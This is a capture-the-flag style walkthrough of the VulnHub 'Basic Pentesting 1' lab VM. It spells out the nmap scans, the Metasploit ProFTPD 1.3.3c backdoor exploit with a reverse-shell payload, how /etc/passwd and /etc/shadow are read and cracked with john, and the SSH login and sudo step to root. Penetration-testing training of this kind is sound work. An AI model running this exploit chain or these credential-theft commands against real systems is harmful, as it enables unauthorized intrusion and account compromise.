<https://www.vulnhub.com/entry/basic-pentesting-1,216/>

Use nmap to scan network and find target

*nmap --top ports 5 10.0.2.\**

Use nmap to get banners

*nmap -sV --version-intensity 0 --top-ports 5 10.0.2.14*

Search google for service vulnerabilities

Returns vulnerability for proftpd 1.3.3c, exploitable with metasploit

I opened msfconsole and ran a search for proftpd, then entered

*use exploit/unix/ftp/proftpd\_133c\_backdoor*

I checked options and set my target

*set RHOST 10.0.2.14*

I checked payloads

*show payloads*

And chose one that looked good

*set payload cmd/unix/reverse*

Checked options again and set my listening IP

*set LHOST 10.0.2.22*

I waited for metasploit to create a reverse shell and grabbed the password files

*cat /etc/passwd*

*cat /etc/shadow*

I copied and pasted passwd and shadow into leafpad files on my attacking machine and unshadowed the shadow

*unshadow passwd shadow > crackme*

And used john the ripper to grab the login credentials

*john crackme*

Which revealed

Username: marlinspike

Password: marlinspike

I opened a new terminal and connected via ssh

*ssh* *marlinspike@10.0.2.14*

And entered the password ‘marlinspike’ when prompted. Then all I had to do was enter

*sudo -i*

And reenter the password ‘marlinspike’ to open a root shell.